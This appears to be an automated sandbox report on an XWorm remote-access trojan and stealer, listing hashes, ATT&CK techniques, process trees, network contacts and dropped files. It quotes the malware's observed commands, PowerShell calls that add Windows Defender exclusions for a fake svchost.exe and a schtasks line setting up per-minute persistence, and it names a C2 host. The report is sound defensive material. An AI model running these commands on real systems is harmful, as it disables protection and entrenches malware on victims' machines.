Malware Analysis Report

2024-09-11 13:50

Sample ID 240615-brlkbatglb
Target 32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe
SHA256 32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6
Tags
xworm execution persistence rat trojan spyware stealer upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6

Threat Level: Known bad

The file 32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan spyware stealer upx

Detect Xworm Payload

Xworm

Detects Windows executables referencing non-Windows User-Agents

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Checks computer location settings

Drops startup file

Reads user/profile data of web browsers

Executes dropped EXE

Loads dropped DLL

UPX packed file

Accesses cryptocurrency files/wallets, possible credential harvesting

Adds Run key to start application

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Unsigned PE

Program crash

Suspicious use of SetWindowsHookEx

Enumerates processes with tasklist

Views/modifies file attributes

Uses Task Scheduler COM API

Creates scheduled task(s)

Suspicious use of WriteProcessMemory

Gathers system information

Detects videocard installed

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Scheduled Task/Job
T1053
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Scheduled Task/Job
T1053
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Scheduled Task/Job
T1053
Defense Evasion
TA0005
Modify Registry
T1112
Hide Artifacts
T1564
Hidden Files and Directories
T1564.001
Credential Access
TA0006
Unsecured Credentials
T1552
Credentials In Files
T1552.001
Discovery
TA0007
System Information Discovery
T1082
Query Registry
T1012
Process Discovery
T1057
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-15 01:22

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-15 01:22

Reported

2024-06-15 01:25

Platform

win7-20240220-en

Max time kernel

145s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Steamify.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2372 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe
PID 2372 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe
PID 2372 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe
PID 2372 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe
PID 2372 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2372 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2372 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2372 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe C:\Users\Admin\AppData\Local\Temp\svchost.exe
PID 2964 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\Steamify.exe C:\Windows\SysWOW64\WerFault.exe
PID 2964 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\Steamify.exe C:\Windows\SysWOW64\WerFault.exe
PID 2964 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\Steamify.exe C:\Windows\SysWOW64\WerFault.exe
PID 2964 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\Steamify.exe C:\Windows\SysWOW64\WerFault.exe
PID 1984 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2212 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2212 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 2212 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1984 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\schtasks.exe
PID 1984 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\schtasks.exe
PID 1984 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe C:\Windows\System32\schtasks.exe
PID 2184 wrote to memory of 1740 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2184 wrote to memory of 1740 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2184 wrote to memory of 1740 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2184 wrote to memory of 3020 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2184 wrote to memory of 3020 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2184 wrote to memory of 3020 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2184 wrote to memory of 888 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2184 wrote to memory of 888 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe
PID 2184 wrote to memory of 888 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Roaming\svchost.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe

"C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe"

C:\Users\Admin\AppData\Local\Temp\Steamify.exe

"C:\Users\Admin\AppData\Local\Temp\Steamify.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {39714E9B-C268-45B8-86D9-7F1E36D97B2B} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

C:\Users\Admin\AppData\Roaming\svchost.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 inn-ht.gl.at.ply.gg udp
US 147.185.221.18:60031 inn-ht.gl.at.ply.gg tcp

Files

\Users\Admin\AppData\Local\Temp\Steamify.exe

MD5 43d1c8246c9405244116d6ff630b1656
SHA1 3d64e6e434d45b015976cf7c92dda8c071ac4bf2
SHA256 747a6d8099aa37ebb5a01695a03eec3bcdfc3e80e8d3474a604110dfce75ed3a
SHA512 b6a875a784afd3cd41b48077816c9e2b9e4b93d282561cdf97dd7e3729af484de5627e63dd402f66080cb9f5b39b2fd7c3403bec6234800eec7e424d3159845c

\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 3d0f60a06bfead1b3ce9847dbd9ce7e7
SHA1 e79eff9033d46736a876ab3379038a592d8e210f
SHA256 e9dad4f37bdc3e80130637b3b5de29bf78e376cb8b8894a27ab4b727d60dff5b
SHA512 c0eb730f283df54c2f061da019b57879e29b8f5549309d71630fcb541be894d47eab3943d011363dd0a9bd93e07962411454d9e88e6f5d61a4e0babfde62fc08

memory/2964-12-0x0000000073FCE000-0x0000000073FCF000-memory.dmp

memory/2964-14-0x0000000000C10000-0x0000000000CD8000-memory.dmp

memory/1984-15-0x000007FEF5573000-0x000007FEF5574000-memory.dmp

memory/1984-16-0x00000000010D0000-0x00000000010E8000-memory.dmp

memory/2732-26-0x000000001B690000-0x000000001B972000-memory.dmp

memory/2732-27-0x0000000001D10000-0x0000000001D18000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 52dfc26a8a5a00b62d73b0a0c98c3cb3
SHA1 8f7cc91221753b3814b53a34c4e3209f69011e6f
SHA256 83737830922cbeca82ad41f94f3b25167e6f82b48299e775dbc7d002f6239f03
SHA512 add2954e05211a96d82081ccde604fc3f88292909fdbf1a0c9dcd4cfdaf2cfefc3dc0d4a7f7f081ff8cd8eab3afb12030c7e6b508cb86bb863a2a10d4fa300ff

memory/2604-33-0x000000001B660000-0x000000001B942000-memory.dmp

memory/2604-34-0x0000000002790000-0x0000000002798000-memory.dmp

memory/1740-52-0x0000000000B00000-0x0000000000B18000-memory.dmp

memory/2964-53-0x0000000073FCE000-0x0000000073FCF000-memory.dmp

memory/1984-54-0x000007FEF5573000-0x000007FEF5574000-memory.dmp

memory/888-58-0x00000000003D0000-0x00000000003E8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-15 01:22

Reported

2024-06-15 01:25

Platform

win10v2004-20240611-en

Max time kernel

139s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Detects Windows executables referencing non-Windows User-Agents

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\Built.exe N/A
File opened for modification C:\Windows\System32\drivers\etc\hosts C:\Windows\system32\attrib.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\32a333bb3c7ae28e1b197f94a4b16cc6f708b84e165ae55c3a109b57a3ed11c6.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Steamify.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI8042\rar.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A
N/A N/A C:\Users\Admin\Built.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Admin\AppData\Local\Temp\Steamify.exe

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
